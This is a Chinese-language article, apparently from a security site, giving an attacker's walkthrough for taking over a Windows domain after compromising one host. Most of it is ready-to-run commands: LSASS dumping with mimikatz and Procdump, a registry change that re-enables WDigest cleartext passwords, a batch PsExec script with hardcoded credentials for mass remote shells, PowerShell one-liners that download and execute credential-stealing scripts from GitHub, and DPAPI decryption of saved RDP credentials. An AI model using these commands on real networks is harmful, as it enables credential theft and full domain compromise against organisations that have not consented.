Notadmin
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
在通过漏洞拿到机器的权限并且提权到管理员权限,那么下一步就是进行内网横移。如果该机器是在域环境下,那么主要目标就是拿下域控的权限。
下图列举了一些内网横移可能用到的一些技术,本文主要介绍抓取域管理员的密码,其它的方法后面再进行总结。
获取域控权限的思路
域内普通账号一般只能登录本机并且权限比较低,而域管理员账号一般是可以登录域内所有计算机的。因此如果拿到域管理员账号就可以进行登录域内所有计算机。
网络管理员有时需要升级补丁,或者给员工安全软件,那么就有可能通过域管理员账号登录主机,那么域管理员的账号信息就可能被保存在计算机的内存之中。
因此域控测试的一个思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
因此首先来看看如果拿到域控管理员的密码,进行进行内网横移。
域内信息收集
拿到权限需要进行一些信息收集,包括域控主机,域管理员等信息。
获取域控主机
net group “domain controllers” /domain
注意通过该指令得到的机器名后面会多一个$符号
获取域管理员用户
net group “domain admins” /domain
这次的目标也是获取域管理员的账号密码
查看当前登录的用户以及所有在线用户
whoami
query user
抓取域管理员密码
当拿到一台用户的权限以后,就可以尝试获取该台主机用户的密码,如果网络管理员使用域控管理员的账号登陆过,那么也可以读取到域控管理员的账号信息。
PS:微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
直接读取
如果被控主机的系统为win10或者2012R2以下的,可以直接上传mimikatz到被控主机,执行下面的命令来获取密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
可以看到直接获取到了用户的明文密码。
离线读取
目前企业内都安装了杀毒软件,上传mimikatz会被查杀,就不能采用直接读取的方式。那么可以采用离线读取的方式。
需要工具Procdump:微软官方的工具,可在命令行将lsass导出且杀软不会拦截
执行下面的命令导出lsass.
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
把文件下载到本地然后利用mimikatz读取
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
高版本读取
前面说过,如果系统是高版本,内存中是不允许保存明文密码的,读取就会像下面所示一样,显示为null。
这时我们可以通过修改注册表+强制锁屏+等待系统管理员重新登录,然后再重新抓取密码。
通过下面的方式修改注册表:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
然后将机器锁屏,等待重新登录,再次重复离线读取的步骤即可。
批量读取
管理员并不会登录到每台机器,因此我们需要获取尽可能多的机器权限,这样才能扩大获取到管理员账号的机会。因此可以通过下面的脚本来批量连接,批量读取密码。
1.首先进行批量连接,并反弹会shell。
连接可以用net use建立Ipc$连接、wmic指令连接、采用rdp方式连接、当然也可以使用“计算机管理--连接到另一台计算机”的功能。这里使用psexec进行远程连接。
@echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \\%%i -u administrator -p "123456" cmd :end exit
2.返回了cmdshell后,可以逐一读取内存,去抓取域管理员的密码,这里可以结合powershell来进行快速操作,无需上传文件:
抓明文:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码。
获取管理员登录过的主机
为了提高效率,我们往往需要快速找到管理员登录过那台机器,并且还存在活动会话。
上面我们已经查看过了域管理员的账号,可以通过下面的命令查看是否存在活动会话,
tasklist /v |findstr xxxx
批量查看是否存在会话的脚本
@echo off echo check ip addr config file... if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end echo read and analysis file... for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt :end exit
哈希破解
另外如果无法获取到明文密码,也可以尝试进行hash破解。
可以通过下面的命令获取hash值
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
或者通过mimikatz获取
获取到hash值以后可以用工具(hashcat)或者在线网站去破解
RDP凭据抓取
使用RDP连接,如果勾选了允许我保存凭据,那么登录信息也会保存在本地,通过一定的方式可能获取到密码。
1).查看连接记录
cmdkey /list
2)查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*
3)Credentials记录guidMasterKey值
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B
找到guidMasterKey对应的MasterKey:(需要system会话)
mimikatz sekurlsa::dpapi
解密指定的MasterKey凭据:
#mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials[Credentials] /masterkey:[MasterKey] mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B /masterkey:69d18472f65ddf5a670ee2c87dd49336f8cc8ccd01e0c6ba8948555636486c967acd2c46490105913a130289c7cf7fb8af72441fe9c02dfe981b2293337267fd
总结
获取域管理员账号是很重要的一步,可以让我们快速的在内网进行横移。
参考链接
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)